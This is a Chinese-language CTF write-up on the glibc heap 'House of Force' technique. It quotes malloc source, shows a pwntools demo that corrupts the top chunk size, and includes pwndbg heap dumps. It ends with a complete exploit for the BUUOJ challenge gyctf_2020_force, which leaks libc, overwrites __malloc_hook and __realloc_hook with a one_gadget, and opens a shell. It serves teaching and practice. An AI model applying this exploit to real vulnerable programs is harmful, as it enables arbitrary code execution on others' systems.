house_of_force house of force的攻击原理是尝试从heap中分配一个非常大的内存,使得可以将chunk分配在高地址的libc中或者进一步让其溢出分配到低地址上的用户代码段中。
用户申请一个chunk后 系统先判断bin中是否有符合大小的chunk 如果没有再去top chunk分配
top chunk的分配办法是在top chunk顶部分配出一个空间 随后top chunk的位置向高地址处增加 先看看chunk申请的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 victim = av->top; size = chunksize (victim);if ((unsigned long ) (size) >= (unsigned long ) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); av->top = remainder; set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0 )); set_head (remainder, remainder_size | PREV_INUSE); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; }
要实现house of force攻击,我们需要两点,一是修改Top chunk size为非常大的数,方便我们可以进行任意大的内存分配;二是分配大内存后,Top chunk剩余size必须大于:X(我们想要在目标地址分配的chunk大小,包括头部信息)+ MINSIZE(大小为0x20),这样才能让我们在目标地址处进一步分配X大小的chunk。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import * p = process("./2heap" ) elf = ELF("./2heap" ) context(os='linux' , arch='amd64' , log_level='debug' )def debug (): gdb.attach(p) pause()def get_addr (): return u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' ))def add (size,payload ): p.recvuntil(">" ) p.sendline(b'1' ) p.recvuntil(b"You can customize the size of house here, but what about your life" ) p.sendline(str (size)) p.recvuntil(b"add something to your house\n" ) p.send(payload)def delete (index ): p.recvuntil(">" ) p.sendline(b'2' ) p.recvuntil(b'every decision you made is meaningful' ) p.sendline(str (index))def edit (index,size,payload ): p.recvuntil(">" ) p.sendline(b'3' ) p.recvuntil(b"It's never too late to make changes" ) p.sendline(str (index)) p.recvuntil(b"something interesting here" ) p.sendline(str (size)) p.sendlineafter(b"Now add something" ,payload)def show (index ): p.recvuntil(">" ) p.sendline(b'4' ) p.recvuntil(b"Let's see what you can do" ) p.sendline(str (index)) add(0x20 ,b'0xcafe66' ) add(0x30 ,b'aaaa' ) payload = cyclic(0x38 )+p64(0xffffffffffffffff ) debug() edit(1 ,len (payload),payload) pause() add(0x40 ,b'aaaa' )
攻只因前
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x1bc1000 Size: 0x291 Allocated chunk | PREV_INUSE Addr: 0x1bc1290 Size: 0x31 Allocated chunk | PREV_INUSE Addr: 0x1bc12c0 Size: 0x41 Top chunk | PREV_INUSE Addr: 0x1bc1300 Size: 0x20d01
攻只因后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x1bc1000 Size: 0x291 Allocated chunk | PREV_INUSE Addr: 0x1bc1290 Size: 0x31 Allocated chunk | PREV_INUSE Addr: 0x1bc12c0 Size: 0x41 Top chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA Addr: 0x1bc1300 Size: 0xffffffffffffffff pwndbg> x/40 gx 0x1bc1300 0x1bc1300 : 0x6161616e6161616d 0xffffffffffffffff 0x1bc1310 : 0x000000000000000a 0x0000000000000000 0x1bc1320 : 0x0000000000000000 0x0000000000000000 0x1bc1330 : 0x0000000000000000 0x0000000000000000 0x1bc1340 : 0x0000000000000000 0x0000000000000000 0x1bc1350 : 0x0000000000000000 0x0000000000000000 0x1bc1360 : 0x0000000000000000 0x0000000000000000 0x1bc1370 : 0x0000000000000000 0x0000000000000000 0x1bc1380 : 0x0000000000000000 0x0000000000000000 0x1bc1390 : 0x0000000000000000 0x0000000000000000 0x1bc13a0 : 0x0000000000000000 0x0000000000000000 0x1bc13b0 : 0x0000000000000000 0x0000000000000000 0x1bc13c0 : 0x0000000000000000 0x0000000000000000 0x1bc13d0 : 0x0000000000000000 0x0000000000000000 0x1bc13e0 : 0x0000000000000000 0x0000000000000000 0x1bc13f0 : 0x0000000000000000 0x0000000000000000 0x1bc1400 : 0x0000000000000000 0x0000000000000000 0x1bc1410 : 0x0000000000000000 0x0000000000000000 0x1bc1420 : 0x0000000000000000 0x0000000000000000 0x1bc1430 : 0x0000000000000000 0x0000000000000000
可以看到这个topchunk的size已被篡改
下面放道题,看看该技术如何利用gyctf_2020_force checksec
1 2 3 4 5 6 [*] '/var/run/vmblock-fuse/blockdir/Zf5bfF/force' Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
看看add函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned __int64 sub_A20 () { const void **i; __int64 size; char s[256 ]; unsigned __int64 v4; v4 = __readfsqword(0x28 u); memset (s, 255 , sizeof (s)); for ( i = (const void **)&unk_202080; *i; ++i ) ; if ( (char *)i - (char *)&unk_202080 > 39 ) exit (0 ); puts ("size" ); read(0 , nptr, 0xF uLL); size = atol(nptr); *i = malloc (size); if ( !*i ) exit (0 ); printf ("bin addr %p\n" , *i); puts ("content" ); read(0 , (void *)*i, 0x50 uLL); puts ("done" ); return __readfsqword(0x28 u) ^ v4; }
one_gadgets
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0x45216 execve("/bin/sh" , rsp+0x30 , environ) constraints: rax == NULL 0x4526a execve("/bin/sh" , rsp+0x30 , environ) constraints: [rsp+0x30 ] == NULL 0xf02a4 execve("/bin/sh" , rsp+0x50 , environ) constraints: [rsp+0x50 ] == NULL 0xf1147 execve("/bin/sh" , rsp+0x70 , environ) constraints: [rsp+0x70 ] == NULL
先打house_of_force,拿捏top_chunk 同时,在分配第一个chunk时,程序还会打印出bin_addr,可以利用此泄露libc_addr
__realloc_hook 和 __malloc_hook这两个钩子函数是相邻的,我们可以利用同一个chunk来劫持__malloc_hook为realloc+0x10,并劫持__realloc_hook为one_gadget
再次执行malloc即可getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import * p = remote('node4.buuoj.cn' ,27065 ) libc = ELF("buu_libc-2.23.so" ) context(os='linux' , arch='amd64' , log_level='debug' )def debug (): gdb.attach(p) pause()def add (size, content ): p.recvuntil("2:puts\n" ) p.sendline("1" ) p.recvuntil("size\n" ) p.sendline(str (size)) p.recvuntil(b"bin addr " ) info = p.recvuntil("\n" , drop=True ) info = int (info.decode("ISO-8859-1" ), 16 ) p.recvuntil("content\n" ) p.send(content) return info one_gadget = [0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] libc.address = add(0x200000 , 'chunk0\n' ) + 0x200ff0 success('libc_base' +hex (libc.address)) heap_addr = add(0x18 ,b'a' *0x10 +p64(0 )+p64(0xFFFFFFFFFFFFFFFF )) success("heap_addr:" +hex (heap_addr)) top = heap_addr + 0x10 malloc_hook = libc.sym['__malloc_hook' ] success("malloc_hook:" +hex (malloc_hook)) realloc = libc.sym["__libc_realloc" ] offset = malloc_hook - top system = libc.sym['system' ] bin_sh = libc.search(b'/bin/sh' ) success("system:" + hex (system)) success("bin_sh:" + str (bin_sh)) add(offset-0x30 ,b'aaa\n' ) add(0x30 ,b'a' *8 +p64(one_gadget[1 ] + libc.address)+p64(realloc+0x10 )) p.recvuntil("2:puts\n" ) p.sendline('1' ) p.recvuntil("size\n" ) p.sendline(str (20 )) p.interactive()